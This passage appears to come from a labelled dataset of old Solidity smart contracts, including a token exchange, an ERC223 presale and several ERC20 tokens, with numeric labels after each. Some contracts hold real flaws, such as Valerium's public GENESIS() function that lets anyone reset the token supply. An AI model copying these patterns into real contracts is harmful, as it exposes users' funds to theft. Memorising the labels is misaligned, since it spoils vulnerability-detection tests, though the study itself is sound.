function batchDepositTokenTo(address[] token, address[] to, uint256[] amount, uint256 channelId) public isDepositToEnabled {
require(to.length == amount.length && to.length <= 200);
for (uint i = 0; i < to.length; i++) {
depositTokenTo(token[i], to[i], amount[i], channelId);
}
}
function innerTransfer(address token, address to, uint256 amount, uint256 channelId) public isTransferEnabled {
require(to != 0);
require(amount <= tokenList[token][msg.sender][channelId]);
tokenList[token][msg.sender][channelId] = safeSub(tokenList[token][msg.sender][channelId], amount);
tokenList[token][to][channelId] = safeAdd(tokenList[token][to][channelId], amount);
InnerTransfer(token, msg.sender, to, amount, tokenList[token][msg.sender][channelId], channelId);
}
function batchInnerTransfer(address[] token, address[] to, uint256[] amount, uint256 channelId) public isTransferEnabled {
require(to.length == amount.length && to.length <= 200);
for (uint i = 0; i < to.length; i++) {
innerTransfer(token[i], to[i], amount[i], channelId);
}
}
function changeChannel(address token, uint256 amount, uint256 fromChannelId, uint256 toChannelId) public isChangeChannelEnabled {
require(amount <= tokenList[token][msg.sender][fromChannelId]);
tokenList[token][msg.sender][fromChannelId] = safeSub(tokenList[token][msg.sender][fromChannelId], amount);
tokenList[token][msg.sender][toChannelId] = safeAdd(tokenList[token][msg.sender][toChannelId], amount);
ChangeChannel(token, msg.sender, amount, fromChannelId, toChannelId);
}
function batchChangeChannel(address[] token, uint256[] amount, uint256 fromChannelId, uint256 toChannelId) public isChangeChannelEnabled {
require(token.length == amount.length && amount.length <= 200);
for (uint i = 0; i < amount.length; i++) {
changeChannel(token[i], amount[i], fromChannelId, toChannelId);
}
}
function applyWithdraw(address token, uint256 amount, uint256 channelId) public {
uint256 apply = safeAdd(applyList[token][msg.sender][channelId], amount);
require(safeAdd(apply, withdrawAllowance[token][msg.sender][channelId]) <= tokenList[token][msg.sender][channelId]);
applyList[token][msg.sender][channelId] = apply;
latestApply[token][msg.sender][channelId] = block.timestamp;
ApplyWithdraw(token, msg.sender, amount, block.timestamp, channelId);
}
function approveWithdraw(address token, address user, uint256 channelId) public onlyAdmin {
withdrawAllowance[token][user][channelId] = safeAdd(withdrawAllowance[token][user][channelId], applyList[token][user][channelId]);
applyList[token][user][channelId] = 0;
latestApply[token][user][channelId] = 0;
ApproveWithdraw(token, user, channelId);
}
function withdraw(address token, uint256 amount, uint256 channelId) public {
require(amount <= tokenList[token][msg.sender][channelId]);
if (amount > withdrawAllowance[token][msg.sender][channelId]) {
require(latestApply[token][msg.sender][channelId] != 0 && safeSub(block.timestamp, latestApply[token][msg.sender][channelId]) > applyWait);
withdrawAllowance[token][msg.sender][channelId] = safeAdd(withdrawAllowance[token][msg.sender][channelId], applyList[token][msg.sender][channelId]);
applyList[token][msg.sender][channelId] = 0;
}
require(amount <= withdrawAllowance[token][msg.sender][channelId]);
withdrawAllowance[token][msg.sender][channelId] = safeSub(withdrawAllowance[token][msg.sender][channelId], amount);
tokenList[token][msg.sender][channelId] = safeSub(tokenList[token][msg.sender][channelId], amount);
latestApply[token][msg.sender][channelId] = 0;
if (token == 0) {
require(msg.sender.send(amount));
} else {
require(Token(token).transfer(msg.sender, amount));
}
Withdraw(token, msg.sender, amount, tokenList[token][msg.sender][channelId], channelId);
}
function withdrawNoLimit(address token, uint256 amount, uint256 channelId) public isWithdrawEnabled {
require(amount <= tokenList[token][msg.sender][channelId]);
tokenList[token][msg.sender][channelId] = safeSub(tokenList[token][msg.sender][channelId], amount);
if (token == 0) {
require(msg.sender.send(amount));
} else {
require(Token(token).transfer(msg.sender, amount));
}
Withdraw(token, msg.sender, amount, tokenList[token][msg.sender][channelId], channelId);
}
struct AdminWithdrawParam {
address user;
address token;
address feeAccount;
address channelFeeAccount;
uint256 amount;
uint256 nonce;
uint256 fee;
uint256 channelFee;
uint256 channelId;
}
function adminWithdraw(address[4] addresses, uint256[5] values, uint8 v, bytes32 r, bytes32 s)
public
onlyAdmin
isFeeAccount(addresses[2])
{
AdminWithdrawParam memory param = AdminWithdrawParam({
user : addresses[0],
token : addresses[1],
feeAccount : addresses[2],
channelFeeAccount : addresses[3],
amount : values[0],
nonce : values[1],
fee : values[2],
channelFee : values[3],
channelId : values[4]
});
require(param.amount <= tokenList[param.token][param.user][param.channelId]);
param.fee = checkFee(param.amount, param.fee);
param.channelFee = checkFee(param.amount, param.channelFee);
bytes32 hash = keccak256(this, param.user, param.token, param.amount, param.nonce, param.channelFeeAccount, param.channelId);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == param.user);
tokenList[param.token][param.user][param.channelId] = safeSub(tokenList[param.token][param.user][param.channelId], param.amount);
tokenList[param.token][param.feeAccount][DEFAULT_CHANNEL_ID] = safeAdd(tokenList[param.token][param.feeAccount][DEFAULT_CHANNEL_ID], param.fee);
tokenList[param.token][param.channelFeeAccount][param.channelId] = safeAdd(tokenList[param.token][param.channelFeeAccount][param.channelId], param.channelFee);
param.amount = safeSub(param.amount, param.fee);
param.amount = safeSub(param.amount, param.channelFee);
if (param.token == 0) {
require(param.user.send(param.amount));
} else {
require(Token(param.token).transfer(param.user, param.amount));
}
Withdraw(param.token, param.user, param.amount, tokenList[param.token][param.user][param.channelId], param.channelId);
}
function checkFee(uint256 amount, uint256 fee) private returns (uint256){
uint256 maxFee = fee;
if (safeMul(fee, feeRate) > amount) {
maxFee = amount / feeRate;
}
return maxFee;
}
function getOrderHash(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address base, uint256 expires, uint256 nonce, address feeToken, address channelFeeAccount, uint256 channelId) public view returns (bytes32) {
return keccak256(this, tokenBuy, amountBuy, tokenSell, amountSell, base, expires, nonce, feeToken, channelFeeAccount, channelId);
}
function balanceOf(address token, address user, uint256 channelId) public constant returns (uint256) {
return tokenList[token][user][channelId];
}
struct Order {
address tokenBuy;
address tokenSell;
uint256 amountBuy;
uint256 amountSell;
address user;
uint256 fee;
uint256 expires;
uint256 nonce;
bytes32 orderHash;
address baseToken;
address feeToken;
address channelFeeAccount;
uint256 channelFee;
uint256 channelId;
}
function trade(
address[13] addresses,
uint256[15] values,
uint8[2] v,
bytes32[2] r,
bytes32[2] s
) public
onlyAdmin
isFeeAccount(addresses[10])
notStop
{
Order memory makerOrder = Order({
tokenBuy : addresses[0],
tokenSell : addresses[2],
user : addresses[4],
amountBuy : values[0],
amountSell : values[2],
fee : values[4],
expires : values[6],
nonce : values[8],
orderHash : 0,
baseToken : addresses[6],
feeToken : addresses[8],
channelFeeAccount : addresses[11],
channelFee : values[11],
channelId : values[13]
});
Order memory takerOrder = Order({
tokenBuy : addresses[1],
tokenSell : addresses[3],
user : addresses[5],
amountBuy : values[1],
amountSell : values[3],
fee : values[5],
expires : values[7],
nonce : values[9],
orderHash : 0,
baseToken : addresses[7],
feeToken : addresses[9],
channelFeeAccount : addresses[12],
channelFee : values[12],
channelId : values[14]
});
uint256 tradeAmount = values[10];
require(makerOrder.expires >= block.number && takerOrder.expires >= block.number);
require(makerOrder.nonce >= canceled[makerOrder.user][makerOrder.channelId] && takerOrder.nonce >= canceled[takerOrder.user][takerOrder.channelId]);
require(makerOrder.baseToken == takerOrder.baseToken && makerOrder.tokenBuy == takerOrder.tokenSell && makerOrder.tokenSell == takerOrder.tokenBuy);
require(takerOrder.baseToken == takerOrder.tokenBuy || takerOrder.baseToken == takerOrder.tokenSell);
makerOrder.orderHash = getOrderHash(makerOrder.tokenBuy, makerOrder.amountBuy, makerOrder.tokenSell, makerOrder.amountSell, makerOrder.baseToken, makerOrder.expires, makerOrder.nonce, makerOrder.feeToken, makerOrder.channelFeeAccount, makerOrder.channelId);
takerOrder.orderHash = getOrderHash(takerOrder.tokenBuy, takerOrder.amountBuy, takerOrder.tokenSell, takerOrder.amountSell, takerOrder.baseToken, takerOrder.expires, takerOrder.nonce, takerOrder.feeToken, takerOrder.channelFeeAccount, takerOrder.channelId);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", makerOrder.orderHash), v[0], r[0], s[0]) == makerOrder.user);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", takerOrder.orderHash), v[1], r[1], s[1]) == takerOrder.user);
balance(makerOrder, takerOrder, addresses[10], tradeAmount);
Trade(makerOrder.user, takerOrder.user, tradeAmount, makerOrder.fee, takerOrder.fee, makerOrder.nonce, takerOrder.nonce);
}
function balance(Order makerOrder, Order takerOrder, address feeAccount, uint256 tradeAmount) internal {
require(safeMul(makerOrder.amountSell, takerOrder.amountSell) >= safeMul(makerOrder.amountBuy, takerOrder.amountBuy));
uint256 takerBuy = 0;
uint256 takerSell = 0;
if (takerOrder.baseToken == takerOrder.tokenBuy) {
uint256 makerAmount = safeSub(makerOrder.amountBuy, orderFilled[makerOrder.user][makerOrder.orderHash]);
uint256 takerAmount = safeSub(takerOrder.amountSell, orderFilled[takerOrder.user][takerOrder.orderHash]);
require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount);
takerSell = tradeAmount;
takerBuy = safeMul(makerOrder.amountSell, takerSell) / makerOrder.amountBuy;
orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerSell);
orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerSell);
} else {
takerAmount = safeSub(takerOrder.amountBuy, orderFilled[takerOrder.user][takerOrder.orderHash]);
makerAmount = safeSub(makerOrder.amountSell, orderFilled[makerOrder.user][makerOrder.orderHash]);
require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount);
takerBuy = tradeAmount;
takerSell = safeMul(makerOrder.amountBuy, takerBuy) / makerOrder.amountSell;
orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerBuy);
orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerBuy);
}
tokenList[takerOrder.tokenSell][takerOrder.user][takerOrder.channelId] = safeSub(tokenList[takerOrder.tokenSell][takerOrder.user][takerOrder.channelId], takerSell);
tokenList[takerOrder.tokenBuy][takerOrder.user][takerOrder.channelId] = safeAdd(tokenList[takerOrder.tokenBuy][takerOrder.user][takerOrder.channelId], takerBuy);
tokenList[makerOrder.tokenSell][makerOrder.user][makerOrder.channelId] = safeSub(tokenList[makerOrder.tokenSell][makerOrder.user][makerOrder.channelId], takerBuy);
tokenList[makerOrder.tokenBuy][makerOrder.user][makerOrder.channelId] = safeAdd(tokenList[makerOrder.tokenBuy][makerOrder.user][makerOrder.channelId], takerSell);
chargeFee(makerOrder, feeAccount, takerSell);
chargeFee(takerOrder, feeAccount, takerBuy);
}
function chargeFee(Order order, address feeAccount, uint256 amountBuy) internal returns (uint256){
uint256 totalFee = 0;
if (order.feeToken != 0) {
totalFee = safeAdd(order.fee, order.channelFee);
require(totalFee <= tokenList[order.feeToken][order.user][order.channelId]);
tokenList[order.feeToken][feeAccount][DEFAULT_CHANNEL_ID] = safeAdd(tokenList[order.feeToken][feeAccount][DEFAULT_CHANNEL_ID], order.fee);
tokenList[order.feeToken][order.channelFeeAccount][order.channelId] = safeAdd(tokenList[order.feeToken][order.channelFeeAccount][order.channelId], order.channelFee);
tokenList[order.feeToken][order.user][order.channelId] = safeSub(tokenList[order.feeToken][order.user][order.channelId], totalFee);
} else {
order.fee = checkFee(amountBuy, order.fee);
order.channelFee = checkFee(amountBuy, order.channelFee);
totalFee = safeAdd(order.fee, order.channelFee);
tokenList[order.tokenBuy][feeAccount][DEFAULT_CHANNEL_ID] = safeAdd(tokenList[order.tokenBuy][feeAccount][DEFAULT_CHANNEL_ID], order.fee);
tokenList[order.tokenBuy][order.channelFeeAccount][order.channelId] = safeAdd(tokenList[order.tokenBuy][order.channelFeeAccount][order.channelId], order.channelFee);
tokenList[order.tokenBuy][order.user][order.channelId] = safeSub(tokenList[order.tokenBuy][order.user][order.channelId], totalFee);
}
}
function batchTrade(
address[13][] addresses,
uint256[15][] values,
uint8[2][] v,
bytes32[2][] r,
bytes32[2][] s
) public onlyAdmin {
for (uint i = 0; i < addresses.length; i++) {
trade(addresses[i], values[i], v[i], r[i], s[i]);
}
}
function refund(address user, address[] tokens, uint256[] channelIds) public onlyAdmin {
for (uint i = 0; i < tokens.length; i++) {
address token = tokens[i];
for (uint j = 0; j < channelIds.length; j++) {
uint256 channelId = channelIds[j];
uint256 amount = tokenList[token][user][channelId];
if (amount > 0) {
tokenList[token][user][channelId] = 0;
if (token == 0) {
require(user.send(amount));
} else {
require(Token(token).transfer(user, amount));
}
Withdraw(token, user, amount, tokenList[token][user][channelId], channelId);
}
}
}
}
} | 0 | 65 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function totalSupply() constant returns (uint256 _supply);
function transfer(address to, uint value) returns (bool ok);
function transfer(address to, uint value, bytes data) returns (bool ok);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC223Token is ERC223 {
using SafeMath for uint;
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function name() constant returns (string _name) {
return name;
}
function symbol() constant returns (string _symbol) {
return symbol;
}
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver reciever = ContractReceiver(_to);
reciever.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract SaturnPresale is ContractReceiver {
using SafeMath for uint256;
bool public active = false;
mapping(address=>uint256) private purchased;
mapping(address=>uint256) private lockup;
address public tokenAddress;
uint256 private priceDiv;
uint256 private purchaseLimit;
uint256 public hardCap;
uint256 public sold;
address private owner;
address private treasury;
event Activated(uint256 time);
event Finished(uint256 time);
event Purchase(address indexed purchaser, uint256 amount, uint256 purchasedAt, uint256 redeemAt);
function SaturnPresale(address token, address ethRecepient, uint256 minPurchase, uint256 presaleHardCap, uint256 price) public {
tokenAddress = token;
priceDiv = price;
owner = msg.sender;
purchaseLimit = minPurchase;
treasury = ethRecepient;
hardCap = presaleHardCap;
}
function tokenFallback(address , uint _value, bytes ) public {
if (msg.sender != tokenAddress) { revert(); }
if (active) { revert(); }
if (_value != hardCap) { revert(); }
active = true;
Activated(now);
}
function balanceOf(address person) constant public returns (uint balance) {
return purchased[person];
}
function lockupOf(address person) constant public returns (uint timestamp) {
return lockup[person];
}
function () external payable {
buyTokens();
}
function buyTokens() payable public {
if (!active) { revert(); }
if (msg.value < purchaseLimit) { revert(); }
uint256 purchasedAmount = msg.value.div(priceDiv);
if (purchasedAmount == 0) { revert(); }
if (purchasedAmount > hardCap - sold) { revert(); }
if (lockup[msg.sender] == 0) {
lockup[msg.sender] = now + 1 years;
}
purchased[msg.sender] = purchased[msg.sender] + purchasedAmount;
sold = sold + purchasedAmount;
treasury.transfer(msg.value);
Purchase(msg.sender, purchasedAmount, now, lockup[msg.sender]);
}
function endPresale() public {
if (msg.sender != owner) { revert(); }
if (!active) { revert(); }
_end();
}
function redeem() public {
if (purchased[msg.sender] == 0) { revert(); }
if (now < lockup[msg.sender]) { revert(); }
uint256 withdrawal = purchased[msg.sender];
purchased[msg.sender] = 0;
ERC223 token = ERC223(tokenAddress);
token.transfer(msg.sender, withdrawal);
}
function _end() private {
if (sold < hardCap) {
ERC223 token = ERC223(tokenAddress);
token.transfer(treasury, hardCap.sub(sold));
}
active = false;
Finished(now);
}
} | 1 | 3,599 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function destruct() public onlyOwner {
selfdestruct(owner);
}
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public;
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply;
modifier onlyPayloadSize(uint256 size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BYTC is StandardToken, Ownable {
string public constant name = "佰优乐购";
string public constant symbol = "BYTC";
uint256 public constant decimals = 8;
function BYTC() public {
owner = msg.sender;
totalSupply=100000000000000000;
balances[owner]=totalSupply;
}
function () public {
revert();
}
} | 1 | 3,644 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ClaimableEx is Claimable {
function cancelOwnershipTransfer() onlyOwner public {
pendingOwner = owner;
}
}
contract AddressSet is Ownable {
mapping(address => bool) exist;
address[] elements;
function add(address _addr) onlyOwner public returns (bool) {
if (contains(_addr)) {
return false;
}
exist[_addr] = true;
elements.push(_addr);
return true;
}
function contains(address _addr) public view returns (bool) {
return exist[_addr];
}
function elementAt(uint256 _index) onlyOwner public view returns (address) {
require(_index < elements.length);
return elements[_index];
}
function getTheNumberOfElements() onlyOwner public view returns (uint256) {
return elements.length;
}
}
contract BalanceSheet is ClaimableEx {
using SafeMath for uint256;
mapping (address => uint256) private balances;
AddressSet private holderSet;
constructor() public {
holderSet = new AddressSet();
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function addBalance(address _addr, uint256 _value) public onlyOwner {
balances[_addr] = balances[_addr].add(_value);
_checkHolderSet(_addr);
}
function subBalance(address _addr, uint256 _value) public onlyOwner {
balances[_addr] = balances[_addr].sub(_value);
}
function setBalance(address _addr, uint256 _value) public onlyOwner {
balances[_addr] = _value;
_checkHolderSet(_addr);
}
function setBalanceBatch(
address[] _addrs,
uint256[] _values
)
public
onlyOwner
{
uint256 _count = _addrs.length;
require(_count == _values.length);
for(uint256 _i = 0; _i < _count; _i++) {
setBalance(_addrs[_i], _values[_i]);
}
}
function getTheNumberOfHolders() public view returns (uint256) {
return holderSet.getTheNumberOfElements();
}
function getHolder(uint256 _index) public view returns (address) {
return holderSet.elementAt(_index);
}
function _checkHolderSet(address _addr) internal {
if (!holderSet.contains(_addr)) {
holderSet.add(_addr);
}
}
} | 1 | 3,514 |
pragma solidity ^0.4.19;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Valerium is StandardToken {
string public constant name = "Valerium";
string public constant symbol = "VLR";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 21000000 * (10 ** uint256(decimals));
function GENESIS() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 2,172 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SimpleTGE is Ownable {
using SafeMath for uint256;
uint256 public publicTGEStartBlockTimeStamp;
uint256 public publicTGEEndBlockTimeStamp;
address public fundsWallet;
uint256 public weiRaised;
uint256 public totalCapInWei;
uint256 public individualCapInWei;
uint256 public TRSOffset = 5 days;
mapping (address => bool) public whitelist;
address[] public contributors;
struct Contribution {
bool hasVested;
uint256 weiContributed;
}
mapping (address => Contribution) public contributions;
modifier whilePublicTGEIsActive() {
require(block.timestamp >= publicTGEStartBlockTimeStamp && block.timestamp <= publicTGEEndBlockTimeStamp);
_;
}
modifier isWhitelisted() {
require(whitelist[msg.sender]);
_;
}
function blacklistAddresses(address[] addrs) external onlyOwner returns(bool) {
require(addrs.length <= 100);
for (uint i = 0; i < addrs.length; i++) {
require(addrs[i] != address(0));
whitelist[addrs[i]] = false;
}
return true;
}
function whitelistAddresses(address[] addrs) external onlyOwner returns(bool) {
require(addrs.length <= 100);
for (uint i = 0; i < addrs.length; i++) {
require(addrs[i] != address(0));
whitelist[addrs[i]] = true;
}
return true;
}
function reclaimEther(address _beneficiary) external onlyOwner {
_beneficiary.transfer(this.balance);
}
function SimpleTGE (
address _fundsWallet,
uint256 _publicTGEStartBlockTimeStamp,
uint256 _publicTGEEndBlockTimeStamp,
uint256 _individualCapInWei,
uint256 _totalCapInWei
) public
{
require(_publicTGEStartBlockTimeStamp >= block.timestamp);
require(_publicTGEEndBlockTimeStamp > _publicTGEStartBlockTimeStamp);
require(_fundsWallet != address(0));
require(_individualCapInWei > 0);
require(_individualCapInWei <= _totalCapInWei);
require(_totalCapInWei > 0);
fundsWallet = _fundsWallet;
publicTGEStartBlockTimeStamp = _publicTGEStartBlockTimeStamp;
publicTGEEndBlockTimeStamp = _publicTGEEndBlockTimeStamp;
individualCapInWei = _individualCapInWei;
totalCapInWei = _totalCapInWei;
}
function changeIndividualCapInWei(uint256 _individualCapInWei) onlyOwner external returns(bool) {
require(_individualCapInWei > 0);
require(_individualCapInWei < totalCapInWei);
individualCapInWei = _individualCapInWei;
return true;
}
function contribute(bool _vestingDecision) internal {
require(msg.sender != address(0));
require(msg.value != 0);
require(weiRaised.add(msg.value) <= totalCapInWei);
require(contributions[msg.sender].weiContributed.add(msg.value) <= individualCapInWei);
if (contributions[msg.sender].weiContributed == 0) {
contributors.push(msg.sender);
}
contributions[msg.sender].weiContributed = contributions[msg.sender].weiContributed.add(msg.value);
weiRaised = weiRaised.add(msg.value);
contributions[msg.sender].hasVested = _vestingDecision;
fundsWallet.transfer(msg.value);
}
function contributeAndVest() external whilePublicTGEIsActive isWhitelisted payable {
contribute(true);
}
function contributeWithoutVesting() public whilePublicTGEIsActive isWhitelisted payable {
contribute(false);
}
function () external payable {
contributeWithoutVesting();
}
